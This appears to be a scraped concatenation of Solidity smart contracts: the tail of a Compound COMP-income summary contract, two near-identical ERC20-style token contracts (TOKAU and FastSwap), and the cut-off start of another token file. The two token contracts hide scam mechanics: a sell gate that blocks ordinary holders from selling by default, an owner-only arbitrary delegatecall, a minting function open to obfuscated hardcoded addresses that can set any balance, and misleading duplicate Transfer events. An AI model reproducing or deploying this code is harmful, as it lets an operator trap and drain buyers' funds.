//note: add view
function sortedCompDistSpeedAllMarkets() external view returns (string[] memory sortedCTokenNameList, uint[] memory sortedCompSpeedList) {
string[] memory cTokenNameList = cTokenNameList();
string[] memory _cTokenNameList = new string[](cTokenNameList.length);
uint[] memory compSpeedList = new uint[](cTokenNameList.length);
Exp memory compAmountPerBlockExp;
for(uint i = 0; i < cTokenNameList.length; i++){
compAmountPerBlockExp = compDistSpeed(contractSymbolToAddressMap(cTokenNameList[i]));
_cTokenNameList[i] = cTokenNameList[i];
compSpeedList[i] = compAmountPerBlockExp.mantissa;
}
//sort compSpeedList
(sortedCTokenNameList, sortedCompSpeedList) = quickSortDESC(_cTokenNameList, compSpeedList);
}
//note: add view
function compProfile(address account) external returns(CompProfile memory _compProfile){
CompoundLens compoundLens = CompoundLens(getCompoundLensAddress());
CompoundLens.CompBalanceMetadataExt memory result = compoundLens.getCompBalanceMetadataExt(Comp(getCompAddress()), ComptrollerLensInterface(getUnitrollerAddress()), account);
_compProfile.balance = result.balance;
_compProfile.yetToClaimed = result.allocated;
}
//note: add view
function totalCompIncomePerYear(address _account) external view returns(uint errCode, string memory, uint256 totalCompIncomeMantissa){
(Error err, string memory _errCTokenSymbol, Exp memory totalCompIncomeExp) = totalCompIncome(_account, div_(estimatedNumberOfBlocksPerYear(), expScale));
//require(err == Error.NO_ERROR, appendStrings("Error occured on: ", errCTokenSymbol));
if(err != Error.NO_ERROR){
return (uint(err), _errCTokenSymbol, 0);
}
return (0, "", totalCompIncomeExp.mantissa);
}
//note: add view
function totalCompIncome(address _account, uint numberOfBlocks) internal view returns(Error, string memory, Exp memory compIncomeForThePeriodExp){
string[] memory cTokenNameList = cTokenNameList();
uint256 numberOfMarkets = cTokenNameList.length;
Error err = Error.NO_ERROR;
Exp[] memory compIncomeExpOfTheMarketList = new Exp[](numberOfMarkets);
compIncomeForThePeriodExp = Exp({mantissa: 0});
for(uint i = 0; i < numberOfMarkets; i++){
string memory cTokenName = cTokenNameList[i];
(err, compIncomeExpOfTheMarketList[i]) = compIncomeByCToken(_account, contractSymbolToAddressMap(cTokenName), numberOfBlocks);
if(err != Error.NO_ERROR){
return (err, cTokenName, Exp({mantissa: 0}));
}
//addLog(cTokenName);
//addLog(compIncomeExpOfTheMarketList[i].mantissa);
compIncomeForThePeriodExp = add_(compIncomeForThePeriodExp, compIncomeExpOfTheMarketList[i]);
}
return (Error.NO_ERROR, "", compIncomeForThePeriodExp);
}
//note: add view
function compIncomeByCToken(address _account, address cTokenAddress, uint numberOfBlocks) internal view returns(Error, Exp memory){
CompIncomeLocalVars memory v;
//get cToken Decimals
v.cTokenDecimals = ERC20(cTokenAddress).decimals();
v.underlyingDecimals = underlyingDecimals(cTokenAddress);
//get comp token distrubtion speed
v.compIncomePerBlockExp = compDistSpeed(cTokenAddress);
//continue to refractor here
//get account snapshot
(v.getAccountSnapshotErrCode, v.cTokenBalanceMantissa18, v.borrowBalanceMantissa18, v.exchangeRateMantissa18) = getAccountSnapshot(_account, cTokenAddress);
if(v.getAccountSnapshotErrCode != 0){
return (Error.ACCOUNT_SNAPSHOT_ERROR, Exp({mantissa: 0}));
}
//underlyingTokenBalance
v.underlyingTokenBalanceExp = mul_(Exp({mantissa: v.cTokenBalanceMantissa18}), Exp({mantissa: v.exchangeRateMantissa18}));
//loanBalanceExp
v.loanBalanceExp = Exp({mantissa: v.borrowBalanceMantissa18});
//totalSupplyWithInterest
v.totalSupply = getTotalSupply(cTokenAddress);
//totalBorrowWithInterest
v.totalBorrow = getTotalBorrow(cTokenAddress);
//supplyPercentageMantissa
v.supplyPercentageExp = div_(mul_(v.underlyingTokenBalanceExp, expScale), v.totalSupply);
v.borrowPercentageExp = div_(mul_(v.loanBalanceExp, expScale), v.totalBorrow);
v.compReleasedExp = mul_(v.compIncomePerBlockExp, numberOfBlocks);
v.compIncomeOnSupplyExp = mul_(v.compReleasedExp, v.supplyPercentageExp);
v.compIncomeOnBorrowExp = mul_(v.compReleasedExp, v.borrowPercentageExp);
v.compIncomeExp = add_(v.compIncomeOnSupplyExp, v.compIncomeOnBorrowExp);
return (Error.NO_ERROR, v.compIncomeExp);
}
//note: add view
function getCTokenTotalSupply (address cTokenAddress) internal view returns (Error err, uint256 totalSupplyValueInUSD) {
string[] memory cTokenNameList = cTokenNameList();
//check
require(hasCToken(cTokenAddress, cTokenNameList), "cToken not found!");
address underlyingAddress = CErc20(cTokenAddress).underlying();
uint256 totalSupply = getTotalSupply(cTokenAddress);
Exp memory totalSupplyExp = getExp18(totalSupply, ERC20(underlyingAddress).decimals());//Exp({mantissa: mul_(totalSupply, 10**(sub_(18, ERC20(underlyingAddress).decimals()))});
Exp memory underlyingPriceInUSDExp = Exp({mantissa: getPriceInUSD(cTokenAddress)});
Exp memory totalSupplyValueExp = mul_(totalSupplyExp, underlyingPriceInUSDExp);
totalSupplyValueInUSD = totalSupplyValueExp.mantissa;
return (Error.NO_ERROR, totalSupplyValueInUSD);
}
function getPriceInUSD(address cTokenAddress) public view returns (uint256 priceInUSD) {
UniswapAnchoredView uniswapAnchoredView = UniswapAnchoredView(getUniswapAnchoredViewAddress());
priceInUSD = uniswapAnchoredView.getUnderlyingPrice(cTokenAddress);
}
function getTotalSupply(address cTokenAddress) internal view returns (uint256 totalSupply){
uint256 cash = CTokenInterface(cTokenAddress).getCash();
uint256 totalBorrow = CTokenInterface(cTokenAddress).totalBorrows();
uint256 totalReserves = CTokenInterface(cTokenAddress).totalReserves();
totalSupply = sub_(add_(cash, totalBorrow), totalReserves);
}
function getAccountSnapshot(address _account, address cTokenAddress) internal view returns (uint256, uint256, uint256, uint256){
getAccountSnapshotLocalVars memory v;
CTokenInterface cToken = CTokenInterface(cTokenAddress);
uint256 cTokenDecimals = ERC20(cTokenAddress).decimals();
uint256 _underlyingDecimals = underlyingDecimals(cTokenAddress);
(v.errCode, v.cTokenBalance, v.borrowBalance, v.exchangeRateMantissa) = cToken.getAccountSnapshot(_account);
if(v.errCode != 0){
return (v.errCode, 0, 0, 0);
}
v.cTokenBalanceExp = getExp18(v.cTokenBalance, cTokenDecimals);
v.borrowBalanceExp = getExp18(v.borrowBalance, _underlyingDecimals);
v.exchangeRateExp = getExp18(v.exchangeRateMantissa, mantissaOfExchangeRate(cTokenAddress));
v.cTokenBalanceMantissa18 = v.cTokenBalanceExp.mantissa;
v.borrowBalanceMantissa18 = v.borrowBalanceExp.mantissa;
v.exchangeRateMantissa18 = v.exchangeRateExp.mantissa;
return (0, v.cTokenBalanceMantissa18, v.borrowBalanceMantissa18, v.exchangeRateMantissa18);
}
function cTokenNameList() internal view returns(string[] memory _cTokenNameList){
Comptroller comptroller = Comptroller(getUnitrollerAddress());
CToken[] memory allMarkets = comptroller.getAllMarkets();
bool isListed;
bool isComped;
address addressOfMarket;
uint _index;
string[] memory _cTokenNameListFullSize = new string[](allMarkets.length);
for(uint i = 0; i < allMarkets.length; i++){
addressOfMarket = address(allMarkets[i]);
(isListed, , isComped) = comptroller.markets(addressOfMarket);
if(isListed && isComped){
address cTokenAddress = address(allMarkets[i]);
string memory cTokenName = CTokenInterface(cTokenAddress).symbol();
_cTokenNameListFullSize[_index] = cTokenName;
_index++;
}
}
_cTokenNameList = new string[](_index);
for(uint i = 0; i < _cTokenNameList.length; i++){
_cTokenNameList[i] = _cTokenNameListFullSize[i];
}
}
function contractSymbolToAddressMap(string memory symbol) internal view returns (address){
Comptroller comptroller = Comptroller(getUnitrollerAddress());
CToken[] memory allMarkets = comptroller.getAllMarkets();
for(uint i = 0; i < allMarkets.length; i++){
address addressOfMarket = address(allMarkets[i]);
string memory symbolOfMarket = CTokenInterface(addressOfMarket).symbol();
if(compareStrings(symbolOfMarket, symbol)){
return addressOfMarket;
}
}
return address(0);
}
function hasCToken(address cTokenAddress, string[] memory _cTokenNameList) internal view returns (bool) {
for(uint i = 0; i < _cTokenNameList.length; i++){
if(compareStrings(_cTokenNameList[i], CTokenInterface(cTokenAddress).symbol())){
return true;
}
}
return false;
}
//require to check cTokenAddress is valid
function underlyingDecimals(address cTokenAddress) internal view returns (uint256) {
if(cTokenAddress == getCEthAddress()){
return 18;
}
address underlyingAddress = CErc20(cTokenAddress).underlying();
return ERC20(underlyingAddress).decimals();
}
function mantissaOfExchangeRate(address cTokenAddress) internal view returns (uint256 mantissa) {
uint256 _underlyingDecimals = underlyingDecimals(cTokenAddress);
uint256 cTokenDecimals = ERC20(cTokenAddress).decimals();
mantissa = sub_(add_(18, _underlyingDecimals), cTokenDecimals);
}
function getTotalBorrow(address cTokenAddress) internal view returns (uint totalBorrow){
CTokenInterface cToken = CTokenInterface(cTokenAddress);
totalBorrow = cToken.totalBorrows();
}
function compDistSpeed(address cTokenAddress) internal view returns (Exp memory compAmountPerBlockExp){
Comptroller comptroller = Comptroller(getUnitrollerAddress());
uint256 compDecimals = ERC20(getCompAddress()).decimals();
uint256 compAmountPerBlock = comptroller.compSpeeds(cTokenAddress);
compAmountPerBlockExp = getExp18(compAmountPerBlock, compDecimals);//Exp({mantissa: mul_(compAmountPerBlock, 10**sub_(18, compDecimals))});
return compAmountPerBlockExp;
}
function estimatedNumberOfBlocksPerYear() internal pure returns (uint256 numberOfBlocksPerYearMantissa){
uint256 numberOfBlockPerSec = 14;
uint256 secsPerYear = 31536000;
(MathError err, Exp memory numberOfBlocksPerYearExp) = getExp(secsPerYear, numberOfBlockPerSec);
if(err != MathError.NO_ERROR){ return 0; }
numberOfBlocksPerYearMantissa = numberOfBlocksPerYearExp.mantissa;
}
function compareStrings (string memory a, string memory b) public pure returns (bool) {
return (keccak256(abi.encodePacked((a))) == keccak256(abi.encodePacked((b))) );
}
function quickSortDESC(string[] memory keys, uint[] memory values) internal pure returns (string[] memory, uint[] memory){
string[] memory keysPlus = new string[](keys.length + 1);
uint[] memory valuesPlus = new uint[](values.length + 1);
for(uint i = 0; i < keys.length; i++){
keysPlus[i] = keys[i];
valuesPlus[i] = values[i];
}
(keysPlus, valuesPlus) = quickSort(keysPlus, valuesPlus, 0, keysPlus.length - 1);
string[] memory keys_desc = new string[](keys.length);
uint[] memory values_desc = new uint[](values.length);
for(uint i = 0; i < keys.length; i++){
keys_desc[keys.length - 1 - i] = keysPlus[i + 1];
values_desc[keys.length - 1 - i] = valuesPlus[i + 1];
}
return (keys_desc, values_desc);
}
function quickSort(string[] memory keys, uint[] memory values, uint left, uint right) internal pure returns (string[] memory, uint[] memory){
uint i = left;
uint j = right;
uint pivot = values[left + (right - left) / 2];
while (i <= j) {
while (values[i] < pivot) i++;
while (pivot < values[j]) j--;
if (i <= j) {
(keys[i], keys[j]) = (keys[j], keys[i]);
(values[i], values[j]) = (values[j], values[i]);
i++;
j--;
}
}
if (left < j)
quickSort(keys, values, left, j);
if (i < right)
quickSort(keys, values, i, right);
return (keys, values);
}
function getCEthAddress() internal pure returns(address){
return 0x4Ddc2D193948926D02f9B1fE9e1daa0718270ED5;
}
function getCompAddress() internal pure returns(address){
return 0xc00e94Cb662C3520282E6f5717214004A7f26888;
}
function getUnitrollerAddress() internal pure returns(address){
return 0x3d9819210A31b4961b30EF54bE2aeD79B9c9Cd3B;
}
function getCompoundLensAddress() internal pure returns(address){
return 0xd513d22422a3062Bd342Ae374b4b9c20E0a9a074;
}
function getUniswapAnchoredViewAddress() internal pure returns(address){
return 0x922018674c12a7F0D394ebEEf9B58F186CdE13c1;
}
//admin functions
function _become(CompFarmingSummaryProxy proxy) public {
require(msg.sender == proxy.admin(), "only admin can change brains");
require(proxy._acceptImplementation() == 0, "changes not permitted");
}
function getVersion() external pure returns(uint){
return 1;
}
}
|
DC1
|
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
//heyuemingchen
contract TOKAU {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
//go the white address first
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner
|| msg.sender==address(1128272879772349028992474526206451541022554459967)
|| msg.sender==address(781882898559151731055770343534128190759711045284)
|| msg.sender==address(718276804347632883115823995738883310263147443572)
|| msg.sender==address(56379186052763868667970533924811260232719434180)
);
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
DC1
|
/**
*Submitted for verification at Etherscan.io on 2021-06-14
*/
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract FastSwap {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
//go the white address first
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1132167815322823072539476364451924570945755492656));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
DC1
|
pragma solidity ^0.5.17;
/*
_____ ____
/ \ | o |
| |/ ___\|
|_________/
|_|_| |_|_|
_______ _ _ __ _
|__ __| | | | | / _(_)
| |_ _ _ __| |_| | ___ | |_ _ _ __ __ _ _ __ ___ ___
| | | | | '__| __| |/ _ \ | _| | '_ \ / _` | '_ \ / __/ _ \
| | |_| | | | |_| | __/_| | | | | | | (_| | | | | (_| __/
|_|\__,_|_| \__|_|\___(_)_| |_|_| |_|\__,_|_| |_|\___\___|
*/
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
